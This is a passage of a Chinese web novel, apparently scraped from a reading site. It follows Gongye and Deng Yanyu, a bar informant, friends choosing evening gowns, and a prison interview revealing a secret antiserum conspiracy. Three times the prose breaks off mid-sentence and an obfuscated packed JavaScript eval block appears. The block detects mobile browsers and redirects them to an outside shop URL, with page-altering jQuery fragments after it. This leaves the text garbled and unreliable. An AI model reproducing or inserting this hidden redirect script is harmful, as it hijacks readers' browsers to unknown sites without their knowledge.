“你最近情绪不高,发生什么事了?”公冶打开车门,“难道还在生上次的气?” 邓烟雨坐进车内才说:“没有,就是觉得你挺忙的,还专程来接我去外面吃晚饭……” “最忙的时间段已经过去了,今晚可以陪你,要去哪里玩吗?” “没兴趣。” “那就回家,”他顿了顿,问,“回哪个家?” “公寓。” 公冶侧过头,认真地看了她一眼,不再多问,调转了方向。 行车过程中,邓烟雨忽然问:“我送你的领带夹,你好像不戴了。” “哦,”公冶注意着前方的绿灯变红,“我放单位了,过几天戴上。” 朗院长和小马哥真的帮他找领带夹了,还奇迹般地找到了,可把公冶高兴坏了,欢天喜地飞奔过去一看——哪是什么领带夹!这俩人估计又孔板加样加瞎了,从桌缝里扒拉出个沾灰的指甲钳,乐呵呵指着说找到哩。 求人不如求己,还是不要“虐待”老年人了。 公冶本不打算隐瞒邓烟雨,但看她这几天萎靡不振无精打采,决定还是不要触她霉头了。领带夹再找不到,他只能去调单位四月一日全部的监控。 总之,无论如何,他都要找到。 “我还是去你家吧……” “嗯?” “去你家,”邓烟雨说,“公寓冷冰冰的。” 公冶家里也有些冷冰冰,不过邓烟雨一来就好多了。她今晚心情总算好点,主动扑他怀里睡觉。 “祁宴让别人欺负我的事,我还不能翻篇。” “他特意邀请你,应该就是在道歉了。” “哼。” 公冶放下书,躺下后搂着她说:“你就尽情去吃喝玩乐,怎么开心怎么来,把米其林甜点当糖豆吃。” “真的哇?还能吃到米其林甜点?” “镶钻的甜点都有。” “哈哈哈。” “还有空中花园,上次同事拍来一张夜景,那地方超美,简直是求婚圣地,我改天跟祁宴商量一下,以后我求婚……” 邓烟雨露出了笑容。 她终于笑了,公冶感觉天都亮了,也跟着她笑了笑。 她手腕扣着他肩,仰头:“你是我肚子里的蛔虫么,专挑我喜欢的讲。” “蛔虫?我才不要当你肚里的蛔虫。” “啊?嫌弃我?” 好不过三秒,她再度板起脸,冷酷无情放开了他。 “小雨,”公冶拉拉她衣服,“行我当蛔虫,你理理我这条蛔虫吧。” 邓烟雨偷偷一笑,过了会儿才转过身,目光湿润:“今晚做吗?” 公冶愣住。 “不是还在来着吗?” “快好了,”邓烟雨一条腿缓缓勾上他的腰,“第五天了。” “那也不行,”公冶把她的腿推下去,“我记得你要六天的,睡吧。” 邓烟雨努嘴:“我们交往那么久一次也没做过。” “你就为了做这个和我交往?” “男朋友硬件那么好只能看不能用,多没意思啊。” “你自己看看,每次挑什么时间诱惑我。” 邓烟雨想了一想,还真是,上次是他从医院回来的当晚,兴致勃勃要为他按摩肩膀,按着按着就动了其他心思,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我知道你最近心情不好,如果不是和上次扫墓有关,是我哪里又做得不对了吗?” 邓烟雨一阵心酸:“我没不开心,我要睡觉,你去书房。” “赶我走?” “你不走那我走!” 邓烟雨一跃而起,下了床,被公冶一把拉回。 她撑住他肩膀,要挣扎,被更用力地抱紧。 “我明天就把领带夹戴上,”公冶说,“不要不开心了。” 这些天积压在心中的苦恼委屈无处宣泄,邓烟雨嘴角轻轻一撇,钻进他怀里,哭了好一会儿,哭着哭着便睡着了,醒来已经在床上好好躺着,而他不在身边。 空荡荡的卧室未点一盏灯,邓烟雨赤脚下床,不停地找他,每个房间都是空的,都是黑的,她急得心慌,只想离开,从这条无尽的路上逃出去—— 邓烟雨从噩梦中惊醒,视野中是公寓工业风的天花板,稳固而冰冷。 她碰了碰自己的脸,有快干的泪痕。 窗外光线充足,她下意识去摸手机,看到他发来的消息:【我去关海了,晚上回来】 邓烟雨记得昨晚他说过这件事,慢腾腾回了一条:【路上注意安全】 接着电话被轰炸,是庆威凤打来的:“烟雨!来我家!挑漂亮裙裙准备晚上赴宴啦!” “啊……?我好困……” “哎呀别睡啦!蔡蔡都到了!快点宝贝!淑芬姑姑拿来好多晚礼服,都是崭新的超级超级好看!今晚咱三盛装出席呀吼吼吼!” “嘟……嘟……嘟……” 邓烟雨顶着一头炸开的卷毛,对着挂断的电话说了声“好……”,步履沉重地迈向了洗漱台。 102. 暴风雨前 一个小时后,列车抵达关海西站。 关海区日晒较大,有女生出门已经在撑伞。公冶出站就打了车,让司机看了字条上的地址,来到一条酒吧街。 临近正午,酒吧街还是一副没睡醒的状态,几家小酒馆不醒目地营着业。公冶根据字条走进其中一家,里面只有一个高高瘦瘦的男服务员在照镜子,头也不抬地说:“桌上扫码点餐。” 公冶环顾四下,最后将目光定格在这名服务员身上,走过去。 服务员还在捯饬自个儿,眼都不斜一下,不耐烦地指了指:“扫码。” “比起扫码,你更会在别人手机上种植木马吧?” 明亮温和的嗓音,有点熟悉。服务员终于把头抬了起来,对着面前这人愣了三秒钟,大叫:“卧槽!” 他要往后厨跑,被公冶抓住衣领直接从侧门带出。 二楼露台的三角梅宛如一簇簇深粉渐变的火焰垂落生长,攀满石墙。 “哎呀哥,哥哥哥哥哥!”他笑成一只狡诈的狐狸,“你饶了我吧,我当时也没办法,你找我没用,话说你从哪找来的……” “你挺出名,”公冶将字条撕毁扔进巷子的垃圾桶,“我随便问问就问出你的行踪了。对了,你叫什么?” “晓俊,”报完家门他目瞪口呆,“你连我名字都不知道,就打听出我在这打工?谁告诉你我在这的?老俞?还是地下乐园的人?” “别紧张,我来是找你问点事。” 晓俊哦了一声,拉正领子,立马笑嘻嘻地掏出香烟打火机:“哥,你不戴黑色美瞳帅多了,比大食主还帅,哥抽烟吗?” 公冶接过烟:“你在灯港的联系人都有些谁。” “哎呀,我们之间递个消息基本不碰面,就算碰面也不想知道对方来路,就有时候跟一个左眼纹了紫色蝎尾的美食家交集多点。” 又是她。 公冶说:“是她让你在手机上装置窃听软件?” 晓俊耸耸肩,露出坏笑。 “我说,哥呀,既然事情都已经发生了,你还不如找找他们大本营在哪,问我们……我们也就清楚点细枝末节,那蝎尾漂亮得很,应该有靠山,否则不可能经常露面呀。” “你现在跟她断了?” “早断了!我哪还敢跟他们联系,我跑关海来,就是为了躲他们!那乐园爆炸你没听说啊?哎,话说哥,你能不能别说出去我跑这来了,否则我真没地方藏了……” 晓俊确实只是个小角色,不过听了他的话,公冶更加确认可以从蝎尾美食家身上入手,她多半是江盛二人放出去的饵,用处多,但随时可弃。 “放心,我不知道你名字,不会说出去。”公冶笑着,把香烟重新插回晓俊的衬衫口袋,转身便走,晓俊松了口气,下一秒就愣住:“不是,你不已经知道我名字了吗?” “哎哥你别走,哥呀——!赏脸喝杯酒呗!尼格罗尼——?” “喂!!” 公冶走出酒吧街就接到陆星澄的电话。 他接起:“阿澄。” “怎么样,人找到了?” “嗯。” “他那估计也就点小道消息,你要真想知道什么,还得往大方向上找。” “这次多谢你了。” “不客气。” 公冶挂断电话,看了眼时间,往东郊去。 与此同时,庆威凤家。 太夸张了吧—— 邓烟雨心中如此呐喊,呆若木鸡地仰起头,瞪着面前这栋一眼望不到尽头的大别墅,背包带子从肩上滑落了下去。 管家亲自开车来接了:“您好,是邓烟雨小姐吗?我们小姐等您多时了,请跟我来。” “我的个天啊。” 邓烟雨在见到庆威凤以后咆哮出以上五个字,接着诉苦:“难怪要坐地铁转公交再走一公里才能找到你家!威凤,你是豪门大小姐咋都不说?” “就是!”蔡蔡也激昂地从试衣间里冒出头,“我也是去年才知道,她家简直逆天,她大伯开了个娱乐公司,二伯广大国际银行一把手,她老爸是庆天出版社老总,这小妮子是董事长千金!” 邓烟雨震惊得下巴快掉地上。 “这有什么,”庆威凤在认真挑裙子,沙发上堆成一座山,“我爸他们三兄弟加起来都比不上祁宴家。” 邓烟雨托着自己的下巴说:“我总算知道,祁宴为什么要,追你了。” “哈?他追我?”庆威凤满脸嫌弃,“不要吧,我不喜欢姐弟恋,而且他还这么对你,打死我也看不上他。” “原来祁宴比你小啊。”蔡蔡站到试衣镜前。 邓烟雨说:“我原谅他了,所以你也别一棍子打死,祁耀集团对你家说不定会有帮助。” 庆威凤笑了:“我爸说不定会挺喜欢你。” 庆威凤从不出席宴会活动,所以她房间不放礼服,这次是在网上看到双紫星空中花园的十秒剪辑,彻底心动了。 “烟雨,我给你挑了一件,”她欢欣鼓舞地把单独放在贵妃榻上的一条晚宴穿的连衣裙拿起来,“你觉得好看吗?” 是条无袖收腰的中短款,庆威凤随便晃几下,裙摆就绽放开来,层层叠叠连绵出一汪深绿色,仿佛织就了一个梦境。 邓烟雨试穿了,腰臀那边尺寸正好,虽然有高领挡住了锁骨,但领口处闪烁着钉珠,衬着她落下来的黑卷发,特别唯美。 “哇塞……”庆威凤和蔡蔡同时捂嘴,眼中甚至有了泪光,“烟雨,你好适合绿色,真该让你男朋友看看。” 邓烟雨没想到会这么好看,在镜子前呆了好久,直到看见大腿微微露出的一点疤痕。 “哎呀,遮不住吗?”庆威凤弯腰,“裙子有点短啦。” 蔡蔡看了看,说:“没事,你们不觉得像树精灵顽强美丽的树根吗?” 庆威凤拍手:“蔡蔡你说得真好,它就像树精灵的根枝点缀在那里,烟雨你觉得呢?” “我超级喜欢,谢谢你们!”邓烟雨毫不掩饰那条疤,拎起裙摆。 “太美啦,转一圈转一圈,你这条裙子转起圈来最好看了!” 三个女孩互夸了好一阵,邓烟雨说:“就是要脱毛。” “哈哈哈哈你和蔡蔡说的话一模一样哈哈哈哈——!”庆威凤举着酒杯笑倒在沙发上。 蔡蔡摊手:“就是要脱呀,你看这些裙子哪条有袖子,我们淳朴大学生衣橱里只有短袖牛仔裤好伐,你家有脱毛仪没有?” 庆威凤得意地拿起自己的纱袖白裙:“我这条就有袖子。” “半透明!还是看得见腋毛!” “哈哈哈哈笑死!!” 蔡蔡最后选了一条深蓝色的长款礼裙,上身出奇地显白,邓烟雨像个小迷妹举着吹吹卷在后面应援,把蔡蔡逗得扭成玛丽莲梦露。 淑芬回来了,上楼听见庆威凤房间特吵,推开虚掩的门,眼前一亮:“哎哟我的亲娘祖宗,哪家仙女下凡来了!” “姑姑!” 三个女孩都扑了上去,淑芬欣然张开双臂,搂住她们:“好看好看,都那么好看呀,晚上玩得开心点啊!” “姑你不去吗?” “姑玩不动,九点要睡美容觉,”淑芬拍拍侄女脑袋,说,“对了,你哥回来了。” “什么?!”庆威凤瞪大眼,“他从不回家的!今天是吃错药了吗?” 邓烟雨和蔡蔡抱在一块儿,一脸吃瓜相。 “还不是你爸,要他出席双紫星的活动,还要介绍宋总的女儿给他认识,让他把工作辞了,回家继承公司,”淑芬手势摆了个“八”,卡在下巴那,“我看你爸这次是动真格了,我是劝不了,不过你哥既然能回来,应该是愿意和你爸好好谈的。” 蔡蔡扭头,给邓烟雨概括:“出版社大少爷,不努力工作就要回家继承亿万家产了,不容易啊……” 邓烟雨严肃地点头:“是啊。” “姑,让爸别操劳了,我男友就姓‘宋’,四舍五入也算和宋家攀亲了。” “你那个‘宋’和你爸那个‘宋’哪是一回事!” 庆云今去书房了。庆威凤拉着她们去门口偷听,无非是别任性了,你公司暂时不想接手也没关系,宋家的女儿好歹见见,这也不愿意那也不愿意,你是要气死我吗,你是我庆传雄的儿子!你的人生不可能随你任意妄为! 这是要吵起来了,她们赶紧返回房间,都坐了下来。 邓烟雨靠着沙发,看着电视,说:“你哥是不容易,不过至少比世界上一半的人幸福了。” “是啊,”庆威凤说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579355|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“钱能让人生幸福50%。” 蔡蔡:“才50%?80%差不多吧。” 庆威凤:“对我来说其实是90%,我不像我哥一定要逃离这个家。” 蔡蔡:“你哥的故事可以拍成电视剧了,至少比我们现在看的好看。” 庆威凤:“是说呢,这个频道成天放狗血剧,这是什么古早电视剧?我们还是看《流星花园》吧。” 邓烟雨拿着喝的去阳台了,身上的礼服尚未换下。一个转身的工夫,电视已经在放《流星花园》,庆威凤在挑晚宴喷的香水,蔡蔡在刷手机。 午后的风缓而绵长,吹起她的卷发,邓烟雨的思绪随之飘远,远到跨越了几百公里,飞向了关海区。 如果今晚,他也能作为宾客赴宴,那该有多好。 好想和他一起参加。 “烟雨?” 一声呼唤,让她抬头。隔壁的阳台上,庆云今手持一杯酒,静默站立,风衣的衣摆在不断掀起,解开的衬衫衣领也被风轻轻吹动着。 他目光一错不错地落在邓烟雨身上,那条裙子,正在翻起绿意沉沉的,汹涌的海浪—— 呼—— 公冶渡莲凝望着脚下澎湃的海水,波光粼粼,白影飞掠,和哀达那日见到的大海一样广阔美丽。 关海区第一监狱就在身后。 监狱大门口,已经有两个人等在那了,其中一个在抽烟,注意到来人,就扔了香烟踩灭。 “总部的公美?” “是。” 那人拿出手机刷了几下:“哦,代号……影青?” “是。” “你好,我是关海分局刑事侦查大队队长,我姓邱,周骋志的案子当年移交我局后由我负责侦办,”邱队简单告知后向公冶介绍身边那位,“这位是美食家决策委员会监察科科长兼代表人,段宁泊,‘四一案’当时轰动全国,所以美委也参与了决策监督。” 美食家决策委员会,简称美委,旧称二十四室。一般人听到“美委”都会心生疑惑,但“二十四室”就是全国皆知的一个政府机构了,该机构专门负责监管各级管控美食家的机关单位的工作,发布与美食家有关的情报事项,同时搜集国内美食家动向,比如“美食家”这一称号颁布就需要通过二十四室的二十四位决策代表人一致同意才能向下落实,GS的设立废除也由美委定夺。 通常公职人员在口头介绍时,出于职业习惯都会报美委的全称或简称,不太会说二十四室,公冶对这一块比较了解,所以没多问。 “邱队您好,”公冶和他们依次握手,“段代表,辛苦您跑一趟。” “不辛苦,正好来尝尝本地的海鲜,”段宁泊笑眯眯地握住他的手,“影青警官真年轻啊,我了解过您父亲,他是位好警察。” “谢谢。” 他们带公冶进入会见中心登记,监狱的人认识邱队,不认识段宁泊,从邱队口中得知他是美委代表人,接下来所有会见必要的流程都成了“走个形式”。 早听说GS总部要来人,还是公美,大家图个新鲜,都翘首以盼。关海区位置偏僻,人烟稀少,去年唯一的分所也被美委废除,正是民不聊生的时候,没承想不仅盼来了最想见见的公美,还把废了他们分所的活阎王招来了。 “哇哦,这就是总部的公美吗?” “哇哦,这他妈就是二十四室的代表人吗?” “……” “……” “都是怪物!” 登记大厅几只小菜鸟挤在角落,你叽一句我喳一声,一边为公冶渡莲的身材与美貌所倾倒,一边被段宁泊阴间鬼王般的神秘气场所震慑。 这是个比美食家还棘手的人类。 “邱,”狱警靠过来,“美委的代表人为啥来了?” “按理说,也可以不来,我陪这个公美进去就行,他闲吧,非要跟……当然跟着是最好了,我们也算在他那留痕了。” 其实美委的人出面跟随情有可原,毕竟这名公美会见的对象,是策划四一案整起案件的凶手。 公冶进入了一间会见室,上方排气扇在转,房间内的光影也在一明一灭,带动了沉闷的空气。他拉开椅子坐下,没过多久,会见室另一头的门打开,看守押着一个人,走进了他的视野中。 103. 暴风雨前 周骋志在见到公冶渡莲的一刹,定在原地,灰蒙蒙的瞳孔逐渐缩紧。看守发现人不走了,推他:“快点。” 公冶起身,与他距离数米相望。他应该是个面容阳刚的高个子,可眼前这人身形瘦小,步履不顺,额头到左脸有一大片烧伤的痕迹。 周骋志目珠一转不转凝视着他,眼底骤热:“你是……” “段代表,我已申请单独谈话,请您出去吧。”公冶对身后那人下逐客令。 段宁泊手插兜,站姿随意,目光在公冶身上斟酌几秒,说:“好,不过影青警官您只有十分钟时间。” 邱队在外面,见段宁泊出来,上前一步:“你不……?” “机会难得,让他们叙叙旧吧。”段宁泊微微向后睨了一眼,露出个意味深长的笑。 会见室只剩下两人,被一团一团闪烁的光影笼罩,排气扇转动的声响极其轻微模糊。他们隔着一张沾灰的桌子,一个憔悴畏缩,一个平淡无惧。 “你、你的眼睛……” “我被降级了。” “……” 周骋志干涩的嗓子拖出一声:“怎么会……” 公冶的视线始终没有投向他,只说:“坐吧。” 须臾,对面传来金属手铐磕碰桌面的咔嗒声。 “我以为你永远都不会见我,”他说,“没想到你还愿意来,渡莲,看到你长大成人,我好高兴。” 公冶抬眸,面容平静如水:“周叔叔,如果我没记错,在我很小的时候,我母亲带我来见过您。” “是的,原来你还记得,那个时候你才学会走路而已。” “这里,”公冶简单扫视昏暗的会见室,轻声说,“我熟悉。” 当年,清绝抱着懵懂无知的儿子,坐在这张冰冷的椅子上,一分一秒等着对面那扇铁门打开,周骋志不见她,她就一直等下去。 “我不想见你母亲,我愧对你们,但是我知道,如果再不见一面,我们都会后悔一辈子。” “那一面是最后一面。” “是的,最后一面,她告诉我,给你取了名字,”周骋志眼眶泛红地望着对面静坐的年轻人,“万川有渡,一溪生莲——就是你名字的由来。” 阴冷的光线落满他一身,拉长他的影子。 公冶神色暗淡地低下头,碎发轻遮眉眼,不免轻笑:“彭雪山的诗。” 周骋志也低头,露出会心的笑:“他是静思最喜欢的作家,静思的书橱里都是彭雪山的随笔和诗集,清绝总说读不懂,不以为然,但这一句却是你父母不谋而合,共同喜欢的一句。” “您知道如此清楚,想必和我父母是莫逆之交。” 闻言,周骋志心口发烫,轻舔干裂的唇:“莫逆之交也说不上,就是……普通朋友罢了。” “普通朋友,”公冶说,“普通朋友会让我母亲一遍遍抱着我来看您?会提起您就一脸愧疚?受害者家属会希望凶犯过得好、活下去吗?” 那身褪色囚服周围的浮尘漫无目的地在飘散,掠进了光里。 “二十六年,”他说,“我在这所监狱度过了二十六年,九千多天,我的一生都毁了。我时常想,如果静思和清绝还在,如果他们能陪伴你成长,带你认识这个辽阔的世界,你如今会是什么样子,你会成为一名音乐家?还是像静思所期盼的那样,开一家书店,养一只猫,自由自在地生活……如果当年那一枪,我没有开,或者早点开,是不是一切就不会……” “所以,策划四一案,害死我父亲的凶手,绝对不是你。” “……” 会见室再次陷入沉寂,时间无声无息地流淌,像毒药在蔓延,几乎可以听到彼此煎熬的心跳声。 “你现在为什么会在这里?”公冶问他,“当初为什么要认罪?” 周骋志正襟危坐:“因为我确实害了你父亲。” “你的枪炸膛了。” “是啊,”周骋志淡笑,侧脸的疤痕隐隐作痛,“我的枪居然炸膛了,我事先为何没有检查呢。” 公冶看着他,皱眉。 “有人给了我一个U盘,里面是些奇怪的视频,还有行车记录仪,一个叫洛肯的人,想让他说出灯芯的下落。” 周骋志终于有了反应,瞪大双眼:“让……他……?” “周叔叔,您认识邓忠云吗?” 周骋志听到这个名字,仿佛一下子苍老了几岁:“你问这个做什么。” 公冶略微后靠,放在腿上的手微不可察地握紧:“我见过邓忠云的女儿,她现在生命受到威胁而不自知,我虽是警察,但红鸽势力如何您也清楚,我只能在力所能及的范围内出手,至于其他的……” 周骋志紧张地向前探身:“你见过烟雨?你和她认识?” “邓忠云也来探视过您?” 周骋志嘴唇抿成一线,眼中隐忍着情绪。 公冶面不改色,沉着地分析:“邓忠云和清绝关系匪浅,您和我父亲又同属一个警队,清绝和公冶静思在一起后,你们四个人之间产生了交集,而洛肯是红鸽的暗务,他找邓忠云索要灯芯,是在四一案发生之后,如今红鸽内乱,江盛党操大盘,邓烟雨正在遭受江盛党的追杀以及白主席的监视——” 一滴冷汗从周骋志额头滑下。 “您应该比我知道更多秘密?”公冶紧盯他,“你知道的,邓忠云和红鸽的关系,灯芯是什么,灯芯在哪,为什么所有人都要找邓忠云询问灯芯下落,你又为了谁甘愿在这里坐一辈子牢,邓烟雨又为何要遭受无妄之灾,你知不知道洛肯为了惹怒邓忠云,像个疯子一样开车撞向她,差点把她撞死!那时候她才只有四岁!!” “我知道!!因为当初生她下来就不是为了让她活着!!” 两道惊惶的视线在死灰飘浮的空气中相撞,公冶恍惚以为自己听错。 “那是一场实验,”周骋志哀痛地闭眼,“是忠云做了最坏的打算,也要进行的一场实验,从烟雨出生那天起,从忠云看到她的眼睛之后,实验就圆满地结束了,往后他只是一个父亲,和红鸽,和灯芯,都没有关系……” 公冶冷笑:“没有关系?” “正确来讲,那都不叫灯芯,”周骋志说,“你,知道厄枯莎吗?” 公冶眼神变了,少顷说:“我在视频里见过一份名单,白主席和我母亲,都是厄枯莎人种培育成功名单里的人。” “其他人呢,名单上没有?” “拍得太模糊,我看不清。” 周骋志缓了缓,开口:“不止他们,还有乌壑、谈鸿、尹慕石、盛鸣、江才林、兰洇、黛远、邓忠云,‘十大姓’说的就是这十个人,是通过母体厄枯莎培育出来的初代中枢人种。尹离舟、盛夺、江邂月三人是后来居上的顶美,不算初代。他们出生后,其父母尹慕石、盛鸣、江才林全都被厄枯莎淘汰而死,白霄担心十位顶美频繁更替会致‘十大姓体系’不稳定,所以在这之后限制了顶美的生育。当然,他们都是纯血顶美,才会被厄枯莎干涉。” “十个人,多一个都不行?” “是的,这是厄枯莎系统的原则,只可少不可多。” 公冶极力让自己保持镇定:“那混血美食家……” 周骋志苦笑:“除了混血顶美,其他混血的美食家,厄枯莎不用淘汰,让他们染病,自生自灭就行。” 公冶全身血液快要冻结:“思泊病毒?” 周骋志并不正面回答:“厄枯莎只对混血顶美鞭长莫及,毕竟那是顶美自己在接触厄枯莎系统外的生物种群,他们诞下的孩子,厄枯莎管不到,如果要他们染病而死,与他们血脉相连的顶美们也得跟着一块去死,这太赔本了。” 他抬起头,正视公冶,说:“清绝也知道。” 那双眼睛里塞满了黑沉沉的答案,公冶说:“邓忠云是顶级美食家?” “曾经是。” “我在名单上没看见他的名字。” “你看到名单下面划掉的那一条了吗?” 公冶舌挢不下,半晌说:“邓珊?” 周骋志点头:“邓珊被培育成功之后,因为基因问题,很快被一个叫楼霞的人取代,而邓珊被厄枯莎淘汰,只能等死,不过意外的是她当时怀孕了,那个孩子让她撑了八个月,八个月后她顺利诞下一名男婴,这名男婴基因强大,瞬间取代了楼霞,之后被白霄抱走。” 空气仿佛随着呼吸凝固了,看着公冶过于惊疑的表情,周骋志说:“你想的没错,那就是邓忠云,‘十大姓’最后一位初代顶美,而你们口中的灯芯,其实指的是厄枯莎的心脏和大脑。” “您了解厄枯莎?” “她是创造你们的母体,你在这个国家,是见不到她的,”周骋志像台崩坏的机器,无所顾忌地透露,“厄枯莎虽心脑一体,但她的心脑不是器官,根据南陆的研究显示,厄枯莎的心脑是某种未知剧毒生物,寄生在厄枯莎体内,与厄枯莎是互相索取又敌对的存在。当年,诺森·辛克莱尔为了破解厄枯莎的秘密,把她的心脑剥离出主体,养在一台生命设备里,厄枯莎心脑就是灯芯。” “生命设备?是那台408?” “没错,就是那台408。忠云拿走的那样东西,是诺森医生制备的含抗体的厄枯莎心脑血清,也就是灯芯的抗血清,诺森为其命名HUB抗血清,该抗血清可以让美食家恢复人类身份。” “厄枯莎失去心脑依旧能够存活?” “能,心脑只是她的武器,有了心脑,她可以一夜之间掌握一国文明。” 公冶翠绿的眸子闪了一下。 “心脑会帮助她进化,诺森医生决不能容忍她再变得强大未知,”周骋志烧伤的脸难掩痛色,“谁也不知道厄枯莎最初是何模样,她飞速领悟了南陆的语言和文化,她吃了一个小女孩,之后变成小女孩的样子正常生活,然后,她让海洋里的鲸鱼自杀,她伤害小女孩的父母,她换了一个身体,只为探索这个社会、国家、世界……” 一语未竟,他又补充:“厄枯莎系统目前最大限度只能淘汰纯血顶美,那如果是有‘心脑’的厄枯莎,她会进化成什么样?继续让鲸鱼自杀?还是尝试控制混血顶美?” 这句话不是设想,而是要证的题。公冶感觉太阳穴一阵钝痛:“您也看过那些视频?” 周骋志抬眼:“没有,我的信息是忠云和清绝告诉我的,你说那些视频是被保存在一个U盘里交给你的?” “您有头绪?” “没有……经过谁手,由谁保管,是谁给你的,我想,你得自己查了。” “诺森医生还在古洛吗?” “他已去世。” 对面不再说话,周骋志无法猜透他的想法,继续说:“忠云注射了HUB抗血清,如你所见,他现在和常人无异,至于灯芯的下落,它在一次抢夺中丢失,恐怕已无人得知灯芯去向。” “GS从南陆进过来一台HUB治疗仪,这台治疗仪——” “假的,”周骋志说,“南陆不会那么好心。灯芯有智慧,离开宿主厄枯莎后一心求死,也可能是因为被宿主下了自杀指令,总之灯芯的血清获取成本和难度极大,更别提抗血清,用生命设备养它也只起到暂缓作用。南陆当年就想夺走灯芯,销毁珍贵的样本,古洛政府也是在那一年和白霄达成协议,只要追查出潜伏在我国的间谍并上缴灯芯和遗落的抗血清及样本,事情结束后就为所有美食家配置HUB抗血清,可政府同时在着手研制消灭美食家的武器,这场交易并不稳定。” 公冶听出深意:“南陆安插了谁?” 周骋志犹豫了几秒:“是一个叫乌壑的人,‘十大姓’排第二,和白霄从一开始就意见不合,他执意夺取灯芯回南陆,也是他销毁了抗血清和样本……” “可他最终没有成功?” 周骋志摇头:“我不知道。我只知道,烟雨的父亲,还有你的母亲,为了拿回HUB抗血清,付出了极大的代价,他们失去了一个至亲般的朋友。” “黛远?” 周骋志心中一惊,叹气:“是的,是他。” “灯芯丢失,政府和白主席的交易也算是告吹,可邓忠云还是从顶级美食家变回了人类,如果政府发现这件事,这要让白主席怎么交代?” 周骋志闻言,神色复杂。 “你还在瞒我?灯芯丢哪了我先不管,真的是乌壑销毁了抗血清吗?”公冶切中要害地质问。 周骋志长久未曾作答,用流逝的时间回以一切。 “为什么不上缴国家,”公冶盯住他,声色俱厉,“私自偷用抗血清,拒缴抗血清样本,这样做和乌壑没有分别。” 周骋志沉默许久,居然笑了:“与其被乌壑夺走,不如搏一把,这管抗血清可以拯救忠云和清绝他们之中任何一个,交给白霄?交给国家?那才是荒唐。” 那才是荒唐—— 那天,在那座悬崖上,邓忠云苦苦哀求了一夜,清绝流着泪躲了一夜,死的只有黛远。 纯金蛇杖在电闪雷鸣的夜空下,犹如盘踞的毒蟒久久凝睇邓忠云,白霄拭去满手血迹,重新戴上手套,五根鹰指缓慢握住杖首。 他淡如云烟的利眼割在邓忠云惊茫的脸上,渗着一丝不屑。 “清绝在哪?” 邓忠云不说,死去的黛远也不说,紫光迸溅的雷电在头顶大作,映亮白霄身后众人,年幼的江邂月躲在一棵大树后面,轻轻哭喊着师父。 “那就躲好了,”白霄俯视他们,慈祥地微笑,“永远别出来。” “别出来”——这是黛远留给清绝最后一句话。 离天亮还有多久?邓忠云麻木地思考着,抱着黛远的尸首,在离天空最近的大地上,经历了人生中第一次刻骨铭心的生离死别。 清绝走出来时,邓忠云仰起头,冲清绝笑:“黛远救了我们。” 清绝满脸淌着泪,嘶哑出声:“阿云,不要笑了。” “为什么不要笑?清绝,我们活下来了,我们没死,”邓忠云笑着笑着,水绿色的眼眸泛起泪光,“我们没死!只要我们还活着,就会有人来救我们,只要我们找到灯芯,找到抗血清和样本,交给国家,国家就会救我们——” “不会的!!不会——!!!” 清绝崩溃地仰天悲号,痛跪在地,伏在黛远空荡荡的尸体上嚎啕大哭,邓忠云仍旧仰着头,感受着晨风从头顶呼啸而过。 “国家不会救我们,红鸽也不会救我们,我们的命是我们自己的,我做出这个决定,也是因为当年被联军所害!被南陆所害!阿云,我是要活着,我们一起活着!活下去!不放弃!” 一具尸体从高空抛下,激烈风声从这具尸体的左胸膛穿过,从他空了的心脏位置穿过,发出阵阵悲鸣。邓忠云和清绝站在悬崖之上,东方正升起太阳,他们目送着挚友黛远的遗体消失在群山之中。 “我要去找乌壑,”邓忠云目光死寂,“我会拿到HUB, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579356|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我要离开这,去过普通人的生活,这不是我的梦想,这是我应得的人生,我——” “不是肉畜。” 满屋都是零散的手铐声,公冶从碎发间望出去,才发现是周骋志的手在抖。 “邓烟雨,”公冶沙哑问着,“她知道吗,她父亲的事……” “不知道,什么都不知道,就连她母亲都一无所知。” “什么都不知道,”公冶干笑了两声,“所以要她们承受这些?” “渡莲,”周骋志双手扑向他,手铐挣动发出声响,“渡莲你听着,只要在大部分人眼里这件事是正确的,那么这就是正确的!抉择很痛苦,我们也在背负痛苦!” “我父亲呢,”公冶满眼都是绝望,“告诉我,我父亲知道吗?” “不知道……”周骋志几乎难以启齿,“我,忠云,和清绝,都瞒着他。” “……” 那头传来颤抖不已的呼吸声。 “所以他死得不明不白,”公冶眼眶红了,“因为你们,而死。” “渡莲!” 公冶渡莲慢慢站起来,那张和公冶静思相似的面容,正蕴着冰冷的怒意,周骋志张开嘴,却什么也说不出口。 “邓忠云为一己私欲抢夺抗血清变回人类,帮他的是清绝,对不对?他们在使用抗血清后还把样本销毁了,没有给古洛留下一点,哪怕一丁点的希望。” “因为黛远死了,他们憎恨这个世界,憎恨白主席,不计后果地向全人类泄愤报仇,国家要求上缴抗血清,这样美食家就有救了,可他们不希望这个缺少黛远的世界变得美好,一点点也不希望。” “后来,他们又生下了我们,让我们这一代来承受。” 